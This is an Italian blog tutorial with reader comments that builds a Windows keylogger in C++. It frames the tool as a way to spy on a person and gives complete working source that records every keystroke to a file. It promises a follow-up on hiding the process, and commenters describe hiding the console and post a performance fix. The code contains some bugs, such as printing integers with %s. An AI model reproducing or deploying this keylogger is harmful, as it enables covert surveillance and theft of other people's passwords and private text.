Keylogger windows in c++
Lo scopo dell’articolo è puramente didattico. Non mi assumo nessuna responsabilità sull’uso illecito dello script.
Per spiare una persona non è necessario nulla di complicato: basta infatti intercettare in qualche modo quello che viene digitato sulla tastiera. Lo strumento necessario per questo tipo di operazione è il keylogger che puo’ essere software o hardware.
Oggi parleremo di quello software realizzandone uno in c++.
Lo scopo del keylogger è quello di intercettare i tasti premuti dall’utente e registrali in un file.
La funzione GetAsyncKeyState, presente nella libreria windows.h, è indispensabile perchè restituisce lo stato di un bottone , cioè se è premuto o no.
Ecco un semplice esempio per utilizzare questa funzione.
#include <stdio.h> #include <windows.h> #include <stdlib.h> int main(){ while(1){ if(GetAsyncKeyState(65)==-32767){ cout << "Tasto A premuto\n"; } } return 1; }
Il seguente codice if(GetAsyncKeyState(65)==-32767){ controlla se il tasto della lettera A ( corrisponde al numero 65 ) è premuto. Quando noi , infatti, premiamo il tasto, la funzione restituisce -32767 .
Altra concetto fondamentale per costruire il nostro keylogger è saper scrivere sui file . Lo script altre ad intercettare la pressione dei tasti deve salvare ogni singolo movimento in un file txt.
Il seguente programmino apre il file in scrittura e scrive una stringa “prova”
#include <stdio.h> #include <conio.h> #include <stdlib.h> void main(){ char * file = "keylog.txt"; FILE * scrivi ; scrivi = fopen(file,"a+"); fprintf(scrivi,"prova"); system("pause"); }
Dopo aver imparato a scrivere sui file e ad intercettare le pressioni sui tasti vi posto lo script completo del keylogger con alcuni commenti sul codice :
#include <stdio.h> #include <windows.h> #include <stdlib.h> #include <iostream.h> // La seguente funzione registra il tasto premuto // sul file void reg(int key,char *file){ FILE *keylog; keylog = fopen(file,"a+"); // Apriamo il file in modalità scrittura con // cursore posizionato alla fine int tmp = key; switch(key){ case 8 : fprintf(keylog,"[Del]"); break; case 9 : fprintf(keylog,"[Tab]"); break; case 13: fprintf(keylog,"\n[Invio]\n"); break; case 37: fprintf(keylog,"[Left]"); break; case 38: fprintf(keylog,"[Top]"); break; case 39: fprintf(keylog,"[Right]"); break; case 40: fprintf(keylog,"[Bottom]"); break; case 46: fprintf(keylog,"[Canc]"); break; case 44: fprintf(keylog,"[Stamp R sist]"); break; case 45: fprintf(keylog,"[Ins]"); break; case 33: fprintf(keylog,"[Pag Su]"); break; case 34: fprintf(keylog,"[Pag Giu]"); break; case 35: fprintf(keylog,"[Fine"); break; case 164: fprintf(keylog,"[Alt]"); break; case 145: fprintf(keylog,"[Bloc Scorr]"); break; case 92:case 91: fprintf(keylog,"[Windows]"); break; case 32: fprintf(keylog," "); break; case 162: fprintf(keylog,"[Ctrl]"); break; case 107: fprintf(keylog,"+"); break; case 109: fprintf(keylog,"-"); break; case 111: fprintf(keylog,"*"); break; case 144: fprintf(keylog,"/"); break; case 106: fprintf(keylog,"-"); break; case 27:case 163: fprintf(keylog,"[Esc]"); break; } // Tasti F1,F1,F2 ecc if(key >= 112 and key <= 123){ key -= 112; fprintf(keylog,"[%d]",key); key=tmp; } // Alfabeto if(key >= 65 && key <= 90){ if(GetKeyState(VK_CAPITAL)==1 || GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo fprintf(keylog,"%s",&key); }else{ // Se no memorizziamola in minuscolo key += 32; fprintf(keylog,"%s",&key); key = tmp; } } // TASTI numerici if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){ // Se è premuto shift ... switch(key){ case 48 : fprintf(keylog,"="); break; case 49 : fprintf(keylog,"!"); break; case 50 : fprintf(keylog,"\"");break; case 51 : fprintf(keylog,"£"); break; case 52 : fprintf(keylog,"$"); break; case 53 : fprintf(keylog,"%"); break; case 54 : fprintf(keylog,"&"); break; case 55 : fprintf(keylog,"/"); break; case 56 : fprintf(keylog,"("); break; case 57 : fprintf(keylog,")"); break; } }else{ // Se no stampa i numeri if(key >= 48 && key <= 57){ fprintf(keylog,"%s",&key); } } if( GetKeyState(VK_SHIFT)==-127 || GetKeyState(VK_SHIFT)==-128 ){ // Se è premuto Shift ... switch(key){ case 192 : fprintf(keylog,"ç"); break; case 191 : fprintf(keylog,"§"); break; case 222 : fprintf(keylog,"°"); break; case 187 : fprintf(keylog,"*"); break; case 186 : fprintf(keylog,"é"); break; case 188 : fprintf(keylog,";"); break; case 190 : fprintf(keylog,":"); break; case 189 : fprintf(keylog,"_"); break; case 219 : fprintf(keylog,"?"); break; case 221 : fprintf(keylog,"^"); break; case 226 : fprintf(keylog,">"); break; case 220 : fprintf(keylog,"|"); break; } }else if((GetKeyState(17)==-127 || GetKeyState(17)==-128 )&&(GetKeyState(18)==-127 || GetKeyState(18)==-128 )&&( GetKeyState(162)==-127 || GetKeyState(162)==-128 )&& (GetKeyState(165)==-127 || GetKeyState(165)==-128) ){ // Se tiene premuto ALT GR switch(key){ case 192 : fprintf(keylog,"@"); break; case 222 : fprintf(keylog,"#"); break; case 187 : fprintf(keylog,"]"); break; case 186 : fprintf(keylog,"["); break; } }else{ // Se no switch(key){ case 192 : fprintf(keylog,"ò"); break; case 191 : fprintf(keylog,"ù"); break; case 222 : fprintf(keylog,"à"); break; case 187 : fprintf(keylog,"+"); break; case 186 : fprintf(keylog,"è"); break; case 188 : fprintf(keylog,","); break; case 190 : fprintf(keylog,"."); break; case 189 : fprintf(keylog,"-"); break; case 219 : fprintf(keylog,"'"); break; case 221 : fprintf(keylog,"ì"); break; case 226 : fprintf(keylog,"<"); break; case 220 : fprintf(keylog,"\\"); break; } } fclose(keylog); } int main(){ char * file = "prova.txt"; int i; while(1){ for(i=8;i<=1000;i++){ if(GetAsyncKeyState(i)==-32767){ reg(i,file); } } } return 1; }
Nel prossimo articolo spiegherò come nascondere la console e per rendere invisibile il processo di intercettamento
20:34 on gennaio 31st, 2010
[...] precedente abbiamo realizzato un keylogger per windows in c++. Chi ha letto l’articolo e provato il keylogger avrà sicuramente notato [...]
13:00 on aprile 7th, 2010
Ciao ho compilato il keylogger e ho ottimizzato il codice aggiungendo inoltre la funzione per nascondere la console ma c’è un problema di fondo relativo all’allocazione di memoria perchè il programma funge bene su un quad core e occupa il 25% della memoria ma su un pc normale va tutto in palla!!
14:15 on aprile 7th, 2010
Ciao Lupokr92.
Mi piacerebbe scambiare due parole con te . Hai msn ? Il mio indirizzo è costagregorioalessio[@]hotmail.it.
Riguardo al codice certo non è il massimo dell’efficenza , ma è strano che occupa il 25 % delle cpu .
Fammi sapere
Ciao
14:16 on agosto 25th, 2010
E’ solo perché il programma controlla ripetutamente lo stato della tastiera in modo indiscriminato.
Basta aggiungere il comando Sleep([numeroMillisecondi) per impostare delle pause, esempio:
int main(){
char * file = “prova.txt”;
int i;
while(1){
Sleep(10);
for(i=8;i<=1000;i++){ if(GetAsyncKeyState(i)==-32767){
reg(i,file);
}
}
}
return 1;
}
posto solo per chi, passando per questa pagina, trova un codice non troppo performante
IMDA